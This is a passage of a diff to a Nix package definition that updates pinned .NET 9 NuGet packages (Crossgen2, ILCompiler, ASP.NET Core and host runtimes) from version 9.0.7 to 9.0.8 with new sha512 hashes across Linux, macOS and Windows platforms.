       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.7";
-      hash = "sha512-Y1X3qXOXHD22H1IAFk8BRFehz48zEkiZr/xdQ0eop3xVFvkiSitzVGhGTsE5cA3JG1/5lItxqJLozjnf1RsNVw==";
+      version = "9.0.8";
+      hash = "sha512-qa9R51SRJWc9SdEM3BGVEnV3AQm9rSQ6EjBELmcwE6mUymrLCSnHu3HcEh6BNtj3Jb1mk4i/mU1dWag/C+qdMg==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-0hSN5Dz16LRR+ddZh7NjEqOEYsj1Ba07/Ouo9HbUrT6/PJ1XtsK1tdpwoJJgrpKrw+n6JyqpaMKpS4f9oNYNhA==";
+        version = "9.0.8";
+        hash = "sha512-U7dmRLkAb8vAO0UlHXtPHsljYS8XRZW2GnTc/3KCvtnePTQvVaOwAr7iLyY5buPykg9Pd88wwzBBOtF/97mlsw==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-wuO6tQcWJj1GKWXpPhoFvobx99K0xy0C1Z8ZACvHhRuWoN1CKfPzC5vU2w/9zCCbLR9iDWYrcC0VdrduMJ+BOQ==";
+        version = "9.0.8";
+        hash = "sha512-N4tnUp+0xdKb/m0tmHBic2YKlO3oWluKGtf5nd3eRZmtUdHQOCOjwCZzzSG1TW4MMIBbtc0ul21CeDd3xTghCA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-MSJVLRiLk+L3NjJBx5sn8tZVEGCppOapb6Zie8nebplwo1ifRtcIf6BDRVSv8V9wBh3uI38jJOQwhcqLUY2ehw==";
+        version = "9.0.8";
+        hash = "sha512-01bVanORYWTIBcqg8SJfqVrWcadM/u9MYe6Y35fKjTm+S7nqmyXXxkJqsSW1nSiVTKLopIomBZU0vF6s6EHwXg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-aW8mtPF46qa4i+GrHv8OUiPam/x4xYGOUKt/pUPIFz9j9SMrKXgw0mHK/H+j2qHknN4Ozy6OtcTUxpIdxkmw6g==";
+        version = "9.0.8";
+        hash = "sha512-4JvBQlwuNpWip4n/jOMirgb+KTq40S1dHcq5/nBmojKRMARUU/lJiUqdH85NRamUE5iJocNsndWMLuqfJg9BaA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-9Ihz6lNAQ9IyiGNSD9fGMKYv+0NQQqAZVpn/GbHpTRIlC4ULGELRcHerEP29D2r1ugtZPyrtR2s8EAmMA42MdQ==";
+        version = "9.0.8";
+        hash = "sha512-rRu/lQKiSzP5a0Jo0Y+gD6dF26ZeRXkJWoRwxYGmj1NowU3DedL4tidTdFSVDJJ7p8jGLRhDB6x+MjpE05QL+g==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-L52p4oNNHR31GlGLgxekjOUM8EL0i1g+X/RRBFvaUdgCy9Uo1RCpsWX3aKaY2Ca93H3aa8wQBsMFCk/3HG9vDQ==";
+        version = "9.0.8";
+        hash = "sha512-vWcLP1paVt0v4fwHJB0GYYybIhfMFCiD/hdg7Vfnvm1kkNOARP88U9xfSMhYN/EBxMzG2Q29kI6e6vTMrXrVNg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-F8YKtHc6Z9KRAo1roiwNnqYCIC4OmGQmq/u1dwumD5Rt6dhRBnbzSVh7wl6OKRADLiX9MevObQ1EqY+pArvk6Q==";
+        version = "9.0.8";
+        hash = "sha512-IkE1/clVa/ECX5w/hQy1Kt2BEMWjpmPhJJX/IDT6Igd7gckL4Funf31B7MJwGwmACF6uzGYSZHXM4GcyPYTyCw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-svhK1og7b18+H2+pqPDerMtM+nFNI1MjvOFyfZ6Q66ALxDf2v4/TyTvekJqEFTeqAl1dG3tYTChRk5ftd5QSeQ==";
+        version = "9.0.8";
+        hash = "sha512-RiKfoTAn5AeGNBuAANq0Raz91lSkTXFc5xFVNW7Ff7Gtv5unLAVvGfP/xwQVZtLHhIcvmyWo20mYf2uScdk12A==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-99F1DpBPJN1n2CUfgTgI69e1UaEzT16bER1ROa7i04LJbla7Y4PTe81/wNfg8BFBXV8k9LJTErLDFTQcLRNK6g==";
+        version = "9.0.8";
+        hash = "sha512-dX1sfzQ+VMxakA/Q1g86LDpZdPAypT3GuYpd0HyzoFUoOMGS0KfQjBlG6Ujz6nGTrBR1627DB8o4UjrCtZO1Mg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-FstPcH3XP9bH8nuTpq129w8M8Qt1LdJqhBNnPJJe6fgwMTaAsHzfmlcDQiPsuXkDY0nDMMug/TUrB3e7xRQwrA==";
+        version = "9.0.8";
+        hash = "sha512-kOOuClCiRSu4qzUzBSnSQJiUtvZb6P0HB/005dDLB7hqVB0AtYRp7qu7qi0y5nYx/c6c0vdBqtyPMPkRx3NXGQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-KPYuoUlT2noytN3CQxLSSorNUq0W/6KH8P41j2lXhTW8+EvH34osmFwOKSTZoCSLgZBLgTUhgGS/7sBwqPJgZw==";
+        version = "9.0.8";
+        hash = "sha512-RL39h0pyBnVYPshzvJOJtlbmdKvUvuWgf+tHBzl455jZqfwt7RsPf2WvROXCME0alrExZB6g3VSNbHhoFIo5CQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-hu2Ls1ISDdHRgWoNMDFykHxNGNx5AFf/tSniUEd+Y6filNBm+iwzZlP9Wfb9HQ+N0Dtd4awacc9wxjCibkwiqA==";
+        version = "9.0.8";
+        hash = "sha512-v12pAEBEbWm651O1lVlTZS1NyM/mEhORJ0JcVnEJQpS5u317/uDdqZ7LknIppwQJfqhF2rIg02jS3yElfg8O9Q==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-EBmqQ9WVYHtpGaiq4dKlJw1q/RhqKNRu/kTqx0gqyF2KlULEm759WVXvNsTbn5z4rHATmUlvMbKHl6aPGeEGSQ==";
+        version = "9.0.8";
+        hash = "sha512-GfVFJvhYUoJI4WbvOiAgMT4HS1+gMTizEXRuxlL6nmI7fVJNReIWOB3LsEBAaZOJbqBoGtciwVU7Oeu+nsOekQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-JeyTs/3XBT11xNgnJJW91++uJ1waJMoAp+FRQ9CyY9TPYscLOUDTe5cKAy/p0l1lbEOVFbqu/YhpjhJ4S7SH8g==";
+        version = "9.0.8";
+        hash = "sha512-+XMW1cOzIwTSTcnam+tlZPa80BHlvugmxATXttjXY1u1DlJJXZCBHiE0cjCeO99k9VpwFr4g9MRHKgfJcNHKIA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-SY7EUX0XS4zl6TIqcv17AO5xQDPxrz0pRX2Bzn/KboWFObsLNfF4V+1HW4jLbSMsIK97MskDjfaedeNhYy8K0g==";
+        version = "9.0.8";
+        hash = "sha512-tGARYv1U56BWPK0A3/2KmtYNPBSovSxIRVEP/7hh2d8kFbszy3RqzKaFNz4Anf3ZfNHGMrMK2A5DvqEIxR83eA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-sTMXmk+7zY66dB2lTSeqbDAUvMW+iUb86MC5Q6ALnAcQfB0BS0Y0sCFAfqDrjb3+3l2NyGtkLdKA6oI379oWrA==";
+        version = "9.0.8";
+        hash = "sha512-4slzmfzzj8K05cua+22dKz5OwNyYxEBXUzvosh/+jKmgEFpug74PPdTp2sgYliRUxUO/o1O3mWcXxMgp510k2w==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "9.0.7";
-        hash = "sha512-C2yLDWG6qVMh54srzmyNG+w8kl/gU4TPGKkQhtotemLdIaamHyLM8xTW6UQxubC7ygqV73RZ/gip80zGt3zw0Q==";
+        version = "9.0.8";
+        hash = "sha512-3VG/IV40RDsfc1F84fqE4e9t2MZG24pT29acsLpIeIt0K8GbfTFG9yPDK8/XXWqAqDSdVuVrLzQKHHFbN1hFVg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "9.0.7";
-        hash = "sha512-9hmu86MCK6T8374cYyl+AbPpgocORRD7kPKlFjMp2vKusZSWvc5QhS3DvPD6Im9cS7wiiXNhN/IxIvMuOuA2yA==";
+        version = "9.0.8";
+        hash = "sha512-QIrPBAMJx0FBhFDMTwjwKm0Wp32egd3Zb6Fy454VkhWKq+bHZStSVVeLIfNnpemqZn5ULkmCQQWoOooAw21I7g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "9.0.7";
-        hash = "sha512-g3WkCqIJocgTL0Ggcci/wRM57+APJh80V8dJtp2dK2ol2lYdR4cH2UcRLY/ePIPwpYZrbM4jbW1Pom3C9AjLEg==";
+        version = "9.0.8";
+        hash = "sha512-kauELS7o6BPUFsLueozrv/dtUgY3HYlK8xxlsWkQNMILiTWhmkNoXyptjFAc8sCdthPTXryws5DFBg4A+kxmYQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-F978bKpKaTVK7yUMWyN99AxsaK6AmkOOkUelyGJLT2MGGNtUyEYoqG6Z9xlm6xMYNGYo5qiSPcFAjZsOXq7Jpw==";
+        version = "9.0.8";
+        hash = "sha512-1C0R3FapqJo3Cu+DyMX0mwKVFTRtJnQNtQ0TOWEnT1N8lH/PRDsZH+tHal3U7/PkdWY9D1FmbsKQ7uxZNOmeKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-jDGelxUC3MZT30iJzCQDgbTcHfnbeDUDnRYtNfQ2czkaRfrQcgfZrPWX34KRuU61KAxpLLYg9heUbmnevM4aIQ==";
+        version = "9.0.8";
+        hash = "sha512-4p6EKTtSGhY4WV3XbdNVsNnWl7JvZkzmCBJImCIqY4eB0kV8BpqbNCO0kopi7gNmNGWsp97yPI4D3HuFi+IQHg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "9.0.7";
-        hash = "sha512-P8KiD0vwj2ocq/3D/a3vxAkqB/FXHuZl1Os+lcqu4f4k3LmBsju2R+WZnsWljWCEfAm6bwjmtyMchPQnzkmVaQ==";
+        version = "9.0.8";
+        hash = "sha512-opZhwxdkU3wGOc42sLvsaoEfZ6cIzB0VfYlTowUeLqISP6Bw1YLE2x9y5IXjVHbRp6sKyIDQyrs45h4+MzLTMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-j3jihG333llTYG6zr9lCKGj7OPHjZE4hc5RHNkWJShJKecFHMnPk9UkFfzgyf6FouM1K4gA/OyZT/wjmDmdf2w==";
+        version = "9.0.8";
+        hash = "sha512-5vJoOboU6uFIKZxF+oLVoCg7kuH+94YtC+nrO7l8YWdwba2oyWTPXoAfM6HnbzY/g5Omcc8oUNlKRZdwBuGBXg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-vQX6KFVBAeIo4SvLwlGw/MivqU3JC7mxsVLlNRQzX9W+vbDLdDgLrruCebjRqSdgDV9xoLx3hLGc5BZOdtOJ9Q==";
+        version = "9.0.8";
+        hash = "sha512-LxFcfH3yCeCTCu4YY0Rw4ZikgDqTD4TTZ19SZSqD69BDw74dKxcmCrQ9/A4d0DAFiqKEMMKTk3EVZ+Bqo/jVHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-M6uGdxBqyzODiOmWE7VmnAYR/O76ZSr9sVNRCwYO7HOZYZylw5y51gRvgW1u4hFeIJxvMWGgicsHQ10FeAEKwA==";
+        version = "9.0.8";
+        hash = "sha512-tyRDrV53rTqdgEZNeWnLqOUpHuTdN0DwWuo726hpftJS0gqh+HpZpGazuzePUToD27O7gNx8Z6+eUbqUvpldKg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "9.0.7";
-        hash = "sha512-atws8JTumHepwLA2m3dKlda/m25s+kYW1ROZD+AlpjQ76MWxa1YYRNVw8WC6eaa3VAqXOQdR9ve2jsBMnjKuwA==";
+        version = "9.0.8";
+        hash = "sha512-jH9WiOhUASzf/3XNOQGZtmkd4Zb+3qjhTB0qItNQO+HqJV8QZI/4XSrK6xEnoJS2J75N8vg/SDCTRi3BbR/qew==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-nGVfOa47L+KNChpXQN5PQjI6CSBFXvH63+EJPcusBiH+BcddA5VPFNGFj/Kb3VCrXNKKGFJR6A0Xlgp2UtQhtg==";
+        version = "9.0.8";
+        hash = "sha512-ldyC7aYLVx8PBpT9/SJw6Gi4pd6fEEMPCwxXpjUPtmhQVqjHKOtSeyt4mERDGlJBY5egNzHkF5Rc99yca20Y9w==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-qkZemav26phWQKiDIGhQjEmNYefeSJCUOHIF/eHiaDnRm2ZmE1zn0Gwiva1DtDScDgDpTMAk2LzRQIOUDwjbSQ==";
+        version = "9.0.8";
+        hash = "sha512-kuP8TvuVRSUqTFW+Ui5IfVA8ewaRkerGRW/5ktUnViqtCPQsjkvxLxlWqt1SO4sRW57q9y+QZNDO2dHdNCTd7A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-lWz1s0VgvrE2DiDEoWzZALdICtr8+heyyGjut4tnmiclmQq6OooNIj272xxqUTd/fXbMm4SnroE34hUUhkiDHQ==";
+        version = "9.0.8";
+        hash = "sha512-+Iz4IIEdJhFUKsbzFn12YR9lGs3O5XAuXw1e4M4wzzVyoix1J/O7JE/p6Ep/MxdWUrud89hledyBgbk2A7tLEA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "9.0.7";
-        hash = "sha512-nR++CrvFiYs9LGxdTeRR9kVO4tLPV4hXQJuCPEywji0ikT0H71z3i/ZNhCLHOoFseddfb+x8wh0o346H49/Wdg==";
+        version = "9.0.8";
+        hash = "sha512-EKY7/AGlcUsgcMTm+0XJQtGZUH3MXQiIHaUsgK4UvugRzVAdqvwkSAs0un1mc4evvzTgWzMl9Yp8HapVWIMdpw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-FrNN5JnBUVIrEjEggGLyKsQBhPmUUSHXtlSGo1A5YuAwNUtepbTbwLMCcrEfNJgNQ38+L8naAGu1ZqKtcRZt+g==";
+        version = "9.0.8";
+        hash = "sha512-pnIOiulipfx52mhy96M3v21YBsDYfzLJ21hr7tHCNaWtnBsr5dsnIfVNPUvaQQ2QJcadmrkoyhk18Dmb3QTmog==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-ljwTM1F5KPl0wWaDks91B4+UHaSrPE9G6/U3vqQKspYXjd7D4cI/xBhnIrQrae5ntPAXHwk03Rt0VsbkIP41wA==";
+        version = "9.0.8";
+        hash = "sha512-lzTfzT1Yd2o4KG8z+qu+CwJ1dNV2RhKOrypH6wIRHRd1ewTE3fLTOesq/OAhSJswIxjyG1g0a4K1kL98UfhKlA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-wUkyIvfd0uKKSulkzfOTV1ACj9xroqDhAU39Ufz2ZWLoTsjsm1O3+O7KtqEwsJ7pUdy+am9TnIN5pG0hfsFepQ==";
+        version = "9.0.8";
+        hash = "sha512-v2Gg1viOsyHEuZT56c2P0zVUFpZGrYjdzXIsQejjAd6aRGu3Xl23sRob5cM49p4VOq1Ywv8sHAB1lhVwa7Mxjw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "9.0.7";
-        hash = "sha512-HoPuExDtKhtkoJGwq+B6mDzTKtjKgrwIij0u9954TfjZyDDwJozmEnFgtoZZ4ltTH0sguKL1JSN7GFYFkQq3BQ==";
+        version = "9.0.8";
+        hash = "sha512-jcMcr02ix+UM7wfSuSHGO/ZVbjDllhEQo0G6hPvL0n+8qQAu7p694JbFCVO+1h+wMOgudlFOBPLSb8ucTHb4Mw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-3qlad7bv/DSNzxH/mgvwM//MX4fA1OQmGjyBM6eujEm/K387JQ4OUgtpXHsu8jHvRARCuFB/qNacxbzvYInh4g==";
+        version = "9.0.8";
+        hash = "sha512-rephD4BBZWGzDM0nBn/IJCKyUaHhFFweXlZDQg7SzADACJDhr7pnAXr6WBDWBOZvtoScDO42W9SXBxebLlee0w==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-sl8QufxXNfWIxOjZQtFJJG+5zRWZtxQc0CMOtVF5SURkZLz2Hy9KwF6bz2tlljohK/Akf0udaeYK2XhnHIKiug==";
+        version = "9.0.8";
+        hash = "sha512-Fdc0fvuu9ufeF05mPezAlQGjNw48O0050itpfpc2xaPz6Tkmt4t4QS46iHKUlek3eosQo+TWgKr8+ydA2rTtiQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-8TsHIOl31DLvkBgj8mHbjP6eSK5wpIGygkdSrBqUJbs+k6MIQrblw5Q6HwMsS8LcRtxvZ4PtoEBubvie/dGSfg==";
+        version = "9.0.8";
+        hash = "sha512-IbAy/N9knqt52d8Jg0ZPlht8PLGlxFrkUFGLOu9q1B6wyNAxcr+SNcAuqIQndV2aiC1JX1LxF+Z/RtR/dllmMw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "9.0.7";
-        hash = "sha512-SXg/5ySrWhQuauFbw09ydh6uJadEAWSfOVDwdEb4Tbd+DkCkjk/bjGn0ALBcM8iEjLbbRMvPOd536pS07fQnWg==";
+        version = "9.0.8";
+        hash = "sha512-eiuv/paMs3fiSFeGtP6EvmappnNAPl6oSWJJGPPcGCyjHKlvbvXXAGB4bo1gh08bDfyh42y9tzkFjj+N3eoJ8Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-5wYYJd1dr4n/CF/EOHVq4LT2KlEojcl5IWSxa0y4/fdO/1SEKOEPDBKqnR9kiPbNKTB4RRFehQr/kkaY6bCwsQ==";
+        version = "9.0.8";
+        hash = "sha512-n3582g9jXAzHDeBllHPjaihaGd8Q5ZMKgSh/2NpVB0SRw3Ie7jCHBloadFAqsz4CbMqBqz9bcwWJSs3UelF6Cg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-zTbTJ3M1BSPPTHkk4KHZJyrK6DhpMUiryHBZ1AYcRlLYCK6ZIpAjv4izhMQHAxMIqz6ovLZVuvc7vU8aKG9qrA==";
+        version = "9.0.8";
+        hash = "sha512-7Iu6w3otpfLf3PDvtus6k0DHYfyFiZ4/FrltO/3+7CPhYYNWtz69/CS7zMUbSebr47CMtGxDHa7sgwRhuQ0udg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-ci5Uyc/L/+JSEsM6XtuY2W/94KWhAU6K/txAf7FXoups3/kLRQfSSTeSTZ3W6WbUuI2w40Xl0YYOHTo4lTSDJQ==";
+        version = "9.0.8";
+        hash = "sha512-2MV4Mm2P0a7Xj33qe2DhxcUxORg4rOBx1MPrmFScypuzqwlcm7Ky6ValuVodGVAeziqxewG+TwEfQ+tlQtKTKw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "9.0.7";
-        hash = "sha512-/RSgn8w2zG9pJOQx3qtyce5zvFHxGc3TV3BOTCa9IDM0U33rbNiLg3GEEaodvAuiXkY3jsnDd4HT5ZOHnfboAg==";
+        version = "9.0.8";
+        hash = "sha512-jx7ySFpxyeGIGu2e/RwWI5Qp0/Qi+7LLAnGa3p2ErCbEmx8cQpfzGijxKekjEhtOVIEFt3XDVUBaiShiFCAp7w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-6vAs0KI14hm+AnP9gBoykxOadgp456o62SJ+o6yFDVqxn+nWb7t4Mra9oLi6YWH69m8mVQN6x0QCusDwdtgKuQ==";
+        version = "9.0.8";
+        hash = "sha512-DAzBxlAn4kHG5UPmIIcNzLyVOFWmsSw3FBFE2k1gFBINRJQxsch/OYGeHJOvcV9AE1kCdOpwfvXkAuYsZ1yqJw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-vKDr+mIfrFC4pGBS7xsN4kqa6YMXezozSfeWIgi9NUzI1tlrRIZrwEla6eIuU/tUzZrrE67bju4R3BnrFSTtwA==";
+        version = "9.0.8";
+        hash = "sha512-7/dik29myG9DpI57mqgQUZKBqUTch4gJPUVTsGwCrpX/+2fCRUMh6wTDZKVJigQmIEAOPDmjVjLsB/46QhCDdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-oYJlCtnHBn3dWqOgyE1E4ng+lXJRPzWNYsf+lj00bCLFkjaTLBmG35hMlkZ1ZmZDPBU4VvOuHDyVx3/QLJVheQ==";
+        version = "9.0.8";
+        hash = "sha512-bCH5hRqBpZXNuNO2xmhx4EmZtP6qvH7qlNP3neR9LhaRR2V6ttRwH2LOPZNaMiroNo1V4T+aDYsqP+4blJ7vFg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "9.0.7";
-        hash = "sha512-34Y4PO3TmpEaBf7DOQUlckzuJb6G7s3xubcJP3xPrwbLsVstOL6SGKBofWqjyygH3i4VgLYc3bqxoYDryXX2mw==";
+        version = "9.0.8";
+        hash = "sha512-VKdx5FBTl0DJSx3tXhSpEQmveT3plCbxvWmDiNmpZ1mroNunXT8F5HLfpnHBLfJ/AYoA/aR/rDDLK5521EjScg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-RPzpHiUrXTqW/hLeUqZDA9AFSkVseZmvWY0wwjD5GGKsTRzQS0yT42PIVqsHbEN/nHRRKWyvTN7tokyYz+MiRQ==";
+        version = "9.0.8";
+        hash = "sha512-Jzq382A89/24L3mRaWqD7SBzBO8Q3gFPksq5xnMrkt/kvTES68kMChvime8TE9Swq22vQNdmWc7Oleco/VsocA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-GOs5KT4SIzSpfe0WPbFVhnA8+klHq8FbfDeDUTvbhSIClPLEfwheeaM+HuQpZTzxpOaMTWcmrawm33ia3NZyMg==";
+        version = "9.0.8";
+        hash = "sha512-gsCIp/l+fBFkghgipU7AlJmbN9mBioZ0gTJ/71Ue3brd8oT+JTHljk7Byth43Wz/QHqvW6NtMfB/KMba+Ovcrw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-4oU3yJfh3HRrvRrCC2QU5wwhqiLc1Zl6Py4cmBVFgNdHOTk38/gt43tWiRBAL+xNr0mX0cltGPMirFdtFZt1wg==";
+        version = "9.0.8";
+        hash = "sha512-1bPBwHyTuD+bM2mIs/lDzPSbxUv3td2KvxqoslykADooEXMkEldhP4h6GRJabTygMKzpG36kaUbVhmY0Z3YzQg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "9.0.7";
-        hash = "sha512-cWumHZc5W8yX5c00U3t4WUymi16KojHUMgSkla5NvzuVPmDpopVKsiRB3j+iQtwA14apPr9fe11srPVVMH4WEw==";
+        version = "9.0.8";
+        hash = "sha512-iOBFiwX+SH3Sz6Re+xDVTUrdtNzD+A0w4CgmhKyvGEm+S2gXHKptcYTfuHPWxgXkewJfLFGb6SNjcdqpbC2ETA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-BODpAvApSDrrndr/6MIR52Sztu7iXCUt4Tn8ex3ZqDMsWgoiCXe70WT0loozMuU+ZnzsXyJf8m2JSlZ5NMsK+Q==";
+        version = "9.0.8";
+        hash = "sha512-KZKJ7e4Mq8E06pMAtTnyjmk/SqNEEMLHcbESLJ7ggVedHcJA/elymIGepIZP9jSwQjtI1v7ggIc3g9C63QDrtA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-nn5X84wpzbMfJ1Vx8fgZdL7cq4d2KxWK3M9GBH4LggzYMnK79YDfoxHl+YLTK5EfqgxFfxunzZdNrpUBDP6F6A==";
+        version = "9.0.8";
+        hash = "sha512-NJTDO+UX/6NpAORJ+AsL177tpbgCTAaSavaDKKTkz8wwdesjcT0OEMa6XveImmOA4KDQsD9dyPZk8CY+y/+6EQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-i6qupvYxI42nWLBGcj6Qe6oMPl1uk+9ANDTPz4x29O3/VEeUw7pJZar5dExUcc41cfgA30UHTkyzZ43umrFirQ==";
+        version = "9.0.8";
+        hash = "sha512-LJ3kCcdyacCBeii37XDf8uSWGrkEa2rpwyCQRnQdPKDQKs3QemPqXBiodbUGe40jxsWeg/aTh68ux3E0w5A6ug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.7";
-        hash = "sha512-i6rCnWy2wF4dseZ6IQcmBPs/A2rj8Yaji1UilfXyOtRnP3uQazDEC7Pd1JJeqzCTNRBgfvXw3r8IHXTxt107tA==";
+        version = "9.0.8";
+        hash = "sha512-r5eVgUvphRSxeAkmjQsbSQI7phyaFklVs4Mwu4Qgr4HAu+UkZI8UJi23jKbK8B5iUuqj+L2bE6/hNti1XIvQNw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.7";
-        hash = "sha512-sJgDF8XETA5JhPSvt3/DOIx9SSTuaG14oKcVpoJX4Yg8pPQJ85IqESoo3VSRR7HQWN/e5Nt6ySu7/jnfXC0szw==";
+        version = "9.0.8";
+        hash = "sha512-KpD57JOPE5YykXteBFpIhQAs5TVrJKWxryEPpW9jdr0K73gGClquXUexYGjiHk++EPTr59aRKcUKQrNyZXOmDw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
